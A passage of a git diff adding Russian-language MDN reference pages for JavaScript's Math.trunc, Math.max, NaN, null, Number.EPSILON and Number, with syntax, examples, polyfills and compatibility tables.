+  - ECMAScript6
+  - Experimental
+  - JavaScript
+  - Math
+  - Method
+  - Reference
+  - Функция
+  - целая часть
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/trunc
+---
+<div>
+<div>{{JSRef}}</div>
+
+<p>Функция <strong><code>Math.trunc()</code></strong> возвращает целую часть числа путём удаления всех дробных знаков.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-trunc.html")}}</div>
+
+
+</div>
+
+<p>
+ </p><h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<p></p>
+
+<pre class="syntaxbox"><code>Math.trunc(<var>x</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Число.</dd>
+</dl>
+
+<h3 id="Parameters" name="Parameters">Возвращаемое значение</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Целая часть данного числа.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>В отличие от других трёх методов объекта <code>Math</code> — {{jsxref("Math.floor()")}}, {{jsxref("Math.ceil()")}} и {{jsxref("Math.round()")}} — метод <code>Math.trunc()</code> работает очень просто. Отбрасывается запятая и все цифры после неё, не обращая внимания на знак аргумента.</p>
+
+<p>Аргумент, переданный в этот метод, будет неявно преобразован в число.</p>
+
+<p>Поскольку <code>trunc()</code> является статическим методом объекта <code>Math</code>, вы всегда должны использовать его как <code>Math.trunc()</code>, а не пытаться вызывать метод на созданном экземпляре объекта <code>Math</code> ( <code>Math</code> не является конструктором).</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_Math.trunc" name="Example:_Using_Math.trunc">Использование <code>Math.trunc()</code></h3>
+
+<pre class="brush: js">Math.trunc(13.37);    // 13
+Math.trunc(42.84);    // 42
+Math.trunc(0.123);    //  0
+Math.trunc(-0.123);   // -0
+Math.trunc('-1.123'); // -1
+Math.trunc(NaN);      // NaN
+Math.trunc('foo');    // NaN
+Math.trunc();         // NaN
+</pre>
+
+<h2 id="Polyfill" name="Polyfill">Полифилл</h2>
+
+<pre class="brush: js">if (!Math.trunc) {
+	Math.trunc = function(v) {
+		v = +v;
+		if (!isFinite(v)) return v;
+
+		return (v - v % 1)   ||   (v &lt; 0 ? -0 : v === 0 ? v : 0);
+
+		// returns:
+		//  0        -&gt;  0
+		// -0        -&gt; -0
+		//  0.2      -&gt;  0
+		// -0.2      -&gt; -0
+		//  0.7      -&gt;  0
+		// -0.7      -&gt; -0
+		//  Infinity -&gt;  Infinity
+		// -Infinity -&gt; -Infinity
+		//  NaN      -&gt;  NaN
+		//  null     -&gt;  0
+	};
+}
+</pre>
+
+<p>Либо:</p>
+
+<pre class="brush: js">if (!Math.trunc) {
+	Math.trunc = function(v) {
+		v = +v;
+		return (v - v % 1)   ||   (!isFinite(v) || v === 0 ? v : v &lt; 0 ? -0 : 0);
+	};
+}
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-math.trunc', 'Math.trunc')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Первое определение</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.trunc', 'Math.trunc')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Math.trunc")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Math.abs()")}}</li>
+ <li>{{jsxref("Math.ceil()")}}</li>
+ <li>{{jsxref("Math.floor()")}}</li>
+ <li>{{jsxref("Math.round()")}}</li>
+ <li>{{jsxref("Math.sign()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/math/метод_math.max()_/index.html b/files/ru/web/javascript/reference/global_objects/math/метод_math.max()_/index.html
new file mode 100644
index 0000000000..ab66d8acb0
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/math/метод_math.max()_/index.html
@@ -0,0 +1,136 @@
+---
+title: Метод Math.max()
+slug: Web/JavaScript/Reference/Global_Objects/Math/Метод_Math.max()_
+tags:
+  - JavaScript
+  - Math
+  - Method
+  - Reference
+---
+<div>{{JSRef("Global_Objects", "Math")}}</div>
+
+<div> </div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <strong><code>Math.max()</code></strong> возвращает наибольшее из нуля или более чисел.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code>Math.max([<var>value1</var>[, <var>value2</var>[, ...]]])</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>value1, value2, ...</code></dt>
+ <dd>Числа.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Поскольку метод <code>max()</code> является статическим методом объекта <code>Math</code>, вы всегда должны использовать его как <code>Math.max()</code>, а не пытаться вызывать метод на созданном экземпляре объекта <code>Math</code> (поскольку объект <code>Math</code> не является конструктором).</p>
+
+<p>При вызове без аргументов результатом вызова будет значение -{{jsxref("Global_Objects/Infinity", "Infinity")}}.</p>
+
+<p>Если хотя бы один из аргументов не может быть преобразован в число, результатом будет {{jsxref("Global_Objects/NaN", "NaN")}}.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_Math.max" name="Example:_Using_Math.max">Пример: использование метода <code>Math.max()</code></h3>
+
+<pre class="brush: js">Math.max(10, 20);   //  20
+Math.max(-10, -20); // -10
+Math.max(-10, 20);  //  20
+</pre>
+
+<p>Следующая функция использует метод {{jsxref("Function.prototype.apply()")}} для нахождения максимального элемента в числовом массиве. Вызов <code>getMaxOfArray([1, 2, 3])</code> эквивалентен вызову <code>Math.max(1, 2, 3)</code>, однако вы можете использовать функцию <code>getMaxOfArray()</code> вместе с программно сконструированными массивами любого размера.</p>
+
+<pre class="brush: js">function getMaxOfArray(numArray) {
+  return Math.max.apply(null, numArray);
+}
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.2.11', 'Math.max')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.max', 'Math.max')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Math.min()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/nan/index.html b/files/ru/web/javascript/reference/global_objects/nan/index.html
new file mode 100644
index 0000000000..7c91aebb62
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/nan/index.html
@@ -0,0 +1,103 @@
+---
+title: NaN
+slug: Web/JavaScript/Reference/Global_Objects/NaN
+tags:
+  - JavaScript
+  - Property
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/NaN
+---
+<div>{{jsSidebar("Objects")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Глобальное свойство <code><strong>NaN</strong></code> является значением, представляющим не-число (Not-A-Number).</p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<div></div>
+
+<p>{{EmbedInteractiveExample("pages/js/globalprops-nan.html")}}</p>
+
+<div class="hidden">
+<p>The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</p>
+</div>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p><code>NaN</code> является свойством <em>глобального объекта</em>.</p>
+
+<p>Начальным значением <code>NaN</code> является Not-A-Number (не-число) — то же самое значение, что и у {{jsxref("Number.NaN")}}. В современных браузерах <code>NaN</code> является ненастраиваемым и незаписываемым свойством. Даже когда это не так, избегайте его переопределения.</p>
+
+<p>В программах <code>NaN</code> используется довольно редко. Это возвращаемое значение в ситуациях, когда математические ({{jsxref("Math")}}) функции не срабатывают должным образом (например, при вызове <code>Math.sqrt(-1)</code>) или когда функция, пытающаяся считать число из строки, терпит неудачу по причине того, что в строке не число (<code>parseInt('blabla')</code>).</p>
+
+<h3 id="Testing_against_NaN" name="Testing_against_NaN">Проверка на равенство <code>NaN</code></h3>
+
+<p><code>NaN</code> является неравным (посредством сравнения через <code>==</code>, <code>!=</code>, <code>===</code>, and <code>!==</code>) любому другому значению, включая другое значение NaN. Используйте {{jsxref("Number.isNaN()")}} или {{jsxref("Global_Objects/isNaN", "isNaN()")}}, чтобы наиболее понятным образом определить является ли значение значением NaN. Или выполните само-сравнение: NaN, и только NaN, в результате такого сравнения будет неравным самому себе.</p>
+
+<pre><code>NaN === NaN;        // false
+Number.NaN === NaN; // false
+isNaN(NaN);         // true
+isNaN(Number.NaN);  // true
+
+function valueIsNaN(v) { return v !== v; }
+valueIsNaN(1);          // false
+valueIsNaN(NaN);        // true
+valueIsNaN(Number.NaN); // true</code></pre>
+
+<p>Тем не менее, обратите внимание на разницу между функцией <code>isNaN()</code> и методом <code>Number.isNaN()</code>: первая вернет <code>true</code>, если значение в настоящий момент является <code>NaN</code>, или если оно станет <code>NaN</code> после того, как преобразуется в число, в то время как последний вернет <code>true</code>, только если текущим значением является <code>NaN</code>:</p>
+
+<pre><code>isNaN('hello world');        // true
+Number.isNaN('hello world'); // false</code></pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-value-properties-of-the-global-object-nan', 'NaN')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-value-properties-of-the-global-object-nan', 'NaN')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.1.1.1', 'NaN')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.3</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("javascript.builtins.NaN")}}</p>
+
+<div id="compat-desktop"></div>
+
+<div id="compat-mobile"></div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Number.NaN")}}</li>
+ <li>{{jsxref("Number.isNaN()")}}</li>
+ <li>{{jsxref("isNaN", "isNaN()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/null/index.html b/files/ru/web/javascript/reference/global_objects/null/index.html
new file mode 100644
index 0000000000..085018dc12
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/null/index.html
@@ -0,0 +1,106 @@
+---
+title: 'null'
+slug: Web/JavaScript/Reference/Global_Objects/null
+tags:
+  - JavaScript
+  - Literal
+  - Primitive
+translation_of: Web/JavaScript/Reference/Global_Objects/null
+---
+<div>{{jsSidebar("Objects")}}</div>
+
+<div></div>
+
+<p>Значение <code>null</code> представляет отсутствие какого-либо объектного значения. В JavaScript, <code>null</code> является {{Glossary("Primitive", "примитивом")}}, и в контексте логических операций, рассматривается как {{Glossary("Falsy", "ложное (falsy)")}}.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/globalprops-null.html")}}</p>
+
+<div class="hidden">
+<p>The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code>null</code></pre>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Значение <code>null</code> записывается литералом <code>null</code>. Оно является самостоятельным, а не свойством глобального объекта (как {{jsxref("Global_Objects/undefined", "undefined")}}). В API, <code>null</code> часто присутствует в местах где ожидается объект, но подходящего объекта нет.</p>
+
+<pre class="brush: js">// переменная foo не существует - она не была определена и никогда не инициализировалась:
+&gt; foo
+'ReferenceError: foo is not defined'
+
+// переменная foo существует, но она не имеет ни типа, ни значения:
+&gt; var foo = null; foo
+'null'
+</pre>
+
+
+
+<h3 id="Difference_between_null_and_undefined" name="Difference_between_null_and_undefined">Отличия между <code>null</code> и <code>undefined</code></h3>
+
+<p><code>null</code> является определенным значением отсутствия объекта, тогда как {{jsxref("Global_Objects/undefined", "undefined")}} обозначает неопределенность. Например: </p>
+
+<pre class="brush: js">var element;
+// значение переменной element до ее инициализации не определенно: undefined
+
+element = document.getElementById('not-exists');
+// здесь при попытке получения несуществующего элемента, метод getElementById возвращает null
+// переменная element теперь инициализирована значением null, ее значение определено
+</pre>
+
+<p>При проверке на <code>null</code> или {{jsxref("Global_Objects/undefined", "undefined")}}, помните о <a href="/ru/docs/Web/JavaScript/Reference/Operators/Операторы_сравнения#Использование_операторов_равенства">различии между операторами равенства (==) и идентичности (===)</a>: с первым, выполняется преобразование типов. </p>
+
+<pre class="brush: js">typeof null        // object (не "null" из соображений обратной совместимости)
+typeof undefined   // undefined
+null === undefined // false
+null  == undefined // true
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-4.3.11', 'значение null')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-null-value', 'значение null')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-null-value', 'null value')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<div>{{Compat("javascript.builtins.null")}}</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Global_Objects/undefined", "undefined")}}</li>
+ <li>{{jsxref("Global_Objects/NaN", "NaN")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/number/epsilon/index.html b/files/ru/web/javascript/reference/global_objects/number/epsilon/index.html
new file mode 100644
index 0000000000..0b229290de
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/number/epsilon/index.html
@@ -0,0 +1,122 @@
+---
+title: Number.EPSILON
+slug: Web/JavaScript/Reference/Global_Objects/Number/EPSILON
+tags:
+  - ECMAScript6
+  - JavaScript
+  - Number
+  - Property
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/EPSILON
+---
+<div>{{JSRef}}</div>
+
+<p>Свойство <strong><code>Number.EPSILON</code></strong> представляет собой разницу между единицей и наименьшим значением, большим единицы, которое может быть представлено типом {{jsxref("Number")}}.</p>
+
+<p>Вам не нужно создавать объект типа {{jsxref("Number")}} для доступа к этому статическому свойству (используйте <code>Number.EPSILON</code>).</p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Свойство <code>EPSILON</code> имеет значение, приблизительно равное <code>2.2204460492503130808472633361816E-16</code> или <code>2<sup>-52</sup></code>.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example_Testing_equality" name="Example:_Testing_equality">Проверка на равенство</h3>
+
+<pre><code>x = 0.2;
+y = 0.3;
+z = 0.1;
+equal = (Math.abs(x - y + z) &lt; Number.EPSILON);</code></pre>
+
+
+
+<h2 id="Examples" name="Examples">Полифилл</h2>
+
+<pre class="brush: js">if (Number.EPSILON === undefined) {
+    Number.EPSILON = Math.pow(2, -52);
+}
+</pre>
+
+
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-number.epsilon', 'Number.EPSILON')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-number.epsilon', 'Number.EPSILON')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatVersionUnknown }}</td>
+   <td>{{CompatGeckoDesktop("25.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatVersionUnknown }}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("25.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>Объект {{jsxref("Number")}}, которому принадлежит это свойство.</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/number/index.html b/files/ru/web/javascript/reference/global_objects/number/index.html
new file mode 100644
index 0000000000..b8ea32f7d5
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/number/index.html
@@ -0,0 +1,181 @@
+---
+title: Number
+slug: Web/JavaScript/Reference/Global_Objects/Number
+tags:
+  - JavaScript
+  - Number
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Number
+---
+<div>{{JSRef("Global_Objects", "Number")}}</div>
+
+<p>Объект <strong><code>Number</code></strong> является объектом-обёрткой, позволяющей вам работать с числовыми значениями. Объект <code>Number</code> создаётся через конструктор <code>Number()</code>.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre>new Number(<em>value</em>);
+var <em>a</em> = new Number('123'); // a === 123 is false
+var <em>b</em> = Number('123'); // b === 123 is true
+<em>a</em> instanceof Number; // is true
+<em>b</em> instanceof Number; // is false</pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>value</code></dt>
+ <dd>Числовое значение, которое примет объект после создания.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Несколько замечаний относительно использования объекта <code>Number</code>:</p>
+
+<ul>
+ <li>Если аргумент не может быть преобразован в число, возвращается {{jsxref("Global_Objects/NaN", "NaN")}}.</li>
+ <li>В неконструкторном контексте (то есть, без оператора {{jsxref("Operators/new", "new")}}), объект <code>Number</code> может использоваться для проведения преобразования типов.</li>
+</ul>
+
+<h2 id="Properties" name="Properties">Свойства</h2>
+
+<dl>
+ <dt>{{jsxref("Number.EPSILON")}} {{experimental_inline}}</dt>
+ <dd>Наименьший интервал между двумя представимыми числами.</dd>
+ <dt>{{jsxref("Number.MAX_SAFE_INTEGER")}} {{experimental_inline}}</dt>
+ <dd>Максимальное целое число, которое можно безопасно использовать в JavaScript (<code>2<sup>53</sup> - 1</code>).</dd>
+ <dt>{{jsxref("Number.MAX_VALUE")}}</dt>
+ <dd>Наибольшее представимое положительное число.</dd>
+ <dt>{{jsxref("Number.MIN_SAFE_INTEGER")}} {{experimental_inline}}</dt>
+ <dd>Минимальное целое число, которое можно безопасно использовать в (<code>-(2<sup>53</sup> - 1)</code>).</dd>
+ <dt>{{jsxref("Number.MIN_VALUE")}}</dt>
+ <dd>Наименьшее представимое положительное число — то есть, самое близкое к нулю положительное число (которое ещё не является нулём).</dd>
+ <dt>{{jsxref("Number.NaN")}}</dt>
+ <dd>Специальное значение для представления «не числа».</dd>
+ <dt>{{jsxref("Number.NEGATIVE_INFINITY")}}</dt>
+ <dd>Специальное значение для представления отрицательной бесконечности; возвращается при переполнении.</dd>
+ <dt>{{jsxref("Number.POSITIVE_INFINITY")}}</dt>
+ <dd>Специальное значение для представления положительной бесконечности; возвращается при переполнении.</dd>
+ <dt>{{jsxref("Number.prototype")}}</dt>
+ <dd>Позволяет добавлять свойства к объекту <code>Number</code>.</dd>
+</dl>
+
+<div>{{jsOverrides("Function", "properties", "MAX_VALUE", "MIN_VALUE", "NaN", "NEGATIVE_INFINITY", "POSITIVE_INFINITY", "protoype")}}</div>
+
+<h2 id="Methods" name="Methods">Методы</h2>
+
+<dl>
+ <dt>{{jsxref("Number.isNaN()")}} {{experimental_inline}}</dt>
+ <dd>Определяет, является ли переданнное значение значением {{jsxref("Global_Objects/NaN", "NaN")}}.</dd>
+ <dt>{{jsxref("Number.isFinite()")}} {{experimental_inline}}</dt>
+ <dd>Определяет, является ли переданное значение конечным числом.</dd>
+ <dt>{{jsxref("Number.isInteger()")}} {{experimental_inline}}</dt>
+ <dd>Определяет, является ли тип переданного значения «числом», а само число — целым значением.</dd>
+ <dt>{{jsxref("Number.isSafeInteger()")}} {{experimental_inline}}</dt>
+ <dd>Определяет, является ли переданное значение безопасным целым числом (числом в диапазоне от <code>-(2<sup>53</sup> - 1)</code> до <code>2<sup>53</sup> - 1</code>).</dd>
+ <dt><s class="obsoleteElement">{{jsxref("Number.toInteger()")}} {{obsolete_inline}}</s></dt>
+ <dd><s class="obsoleteElement">Использовался для вычисления переданного значения и преобразования его в целое число (или бесконечность {{jsxref("Global_Objects/Infinity", "Infinity")}}), но был удалён.</s></dd>
+ <dt>{{jsxref("Number.parseFloat()")}} {{experimental_inline}}</dt>
+ <dd>Представляет собой тот же самый метод, что и метод {{jsxref("Global_Objects/parseFloat", "parseFloat")}} глобального объекта.</dd>
+ <dt>{{jsxref("Number.parseInt()")}} {{experimental_inline}}</dt>
+ <dd>Представляет собой тот же самый метод, что и метод {{jsxref("Global_Objects/parseInt", "parseInt")}} глобального объекта.</dd>
+</dl>
+
+<div>{{jsOverrides("Function", "methods", "isNaN")}}</div>
+
+<h2 id="Number_instances" name="Number_instances">Экземпляры объекта <code>Number</code></h2>
+
+<p>Все экземпляры объекта <code>Number</code> наследуются от {{jsxref("Number.prototype")}}. Объект прототипа конструктора <code>Number</code> может быть изменён, чтобы затронуть все экземпляры объекта <code>Number</code>.</p>
+
+<h3 id="Methods_of_Number_instance" name="Methods_of_Number_instance">Методы</h3>
+
+<div>{{page('/ru/docs/Web/JavaScript/Reference/Global_Objects/Number/prototype', 'Methods')}}</div>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example_Using_the_Number_object_to_assign_values_to_numeric_variables" name="Example:_Using_the_Number_object_to_assign_values_to_numeric_variables">Пример: использование объекта <code>Number</code> для присваивания значений числовым переменным</h3>
+
+<p>В следующем примере для присваивания значений числовым переменным используются свойства объекта <code>Number</code>:</p>
+
+<pre class="brush: js">var biggestNum = Number.MAX_VALUE;
+var smallestNum = Number.MIN_VALUE;
+var infiniteNum = Number.POSITIVE_INFINITY;
+var negInfiniteNum = Number.NEGATIVE_INFINITY;
+var notANum = Number.NaN;
+</pre>
+
+<h3 id="Example_Using_Number_to_convert_a_Date_object" name="Example:_Using_Number_to_convert_a_Date_object">Пример: целочисленный диапазон для объекта <code>Number</code></h3>
+
+<p>Следующий пример показывает, какие минимальное и максимальное целочисленные значения может представить объект <code>Number</code> (за подробностями обращайтесь к стандарту EcmaScript, главе <em>8.5 Тип Number</em>):</p>
+
+<pre class="brush: js">var biggestInt = 9007199254740992;
+var smallestInt = -9007199254740992;
+</pre>
+
+<p>При разборе данных, сериализованных в JSON, можно ожидать, что целые значения, выпадающие из этого диапазона будут повреждены, когда парсер JSON приведёт их к типу <code>Number</code>. Возможным обходным путём может быть использование объекта {{jsxref("Global_Objects/String", "String")}}.</p>
+
+<h3 id="Example_Using_Number_to_convert_a_Date_object" name="Example:_Using_Number_to_convert_a_Date_object">Пример: использование <code>Number</code> для преобразования объекта <code>Date</code></h3>
+
+<p>В следующем примере объект {{jsxref("Global_Objects/Date", "Date")}} преобразуется в числовое значение с использование объекта <code>Number</code> в качестве функции:</p>
+
+<pre class="brush: js">var d = new Date('December 17, 1995 03:24:00');
+console.log(Number(d));
+</pre>
+
+<p>Пример выведет "819199440000".</p>
+
+<h3 id="Example_Convert_numeric_strings_to_numbers" name="Example:_Convert_numeric_strings_to_numbers">Пример: преобразование строк с числами в числа</h3>
+
+<pre class="brush: js">Number('123')     // 123
+Number('')        // 0
+Number('0x11')    // 17
+Number('0b11')    // 3
+Number('0o11')    // 9
+Number('foo')     // NaN
+Number('100a')    // NaN
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.7', 'Number')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-number-objects', 'Number')}}</td>
+   <td>{{Spec2('ES6')}}</td>
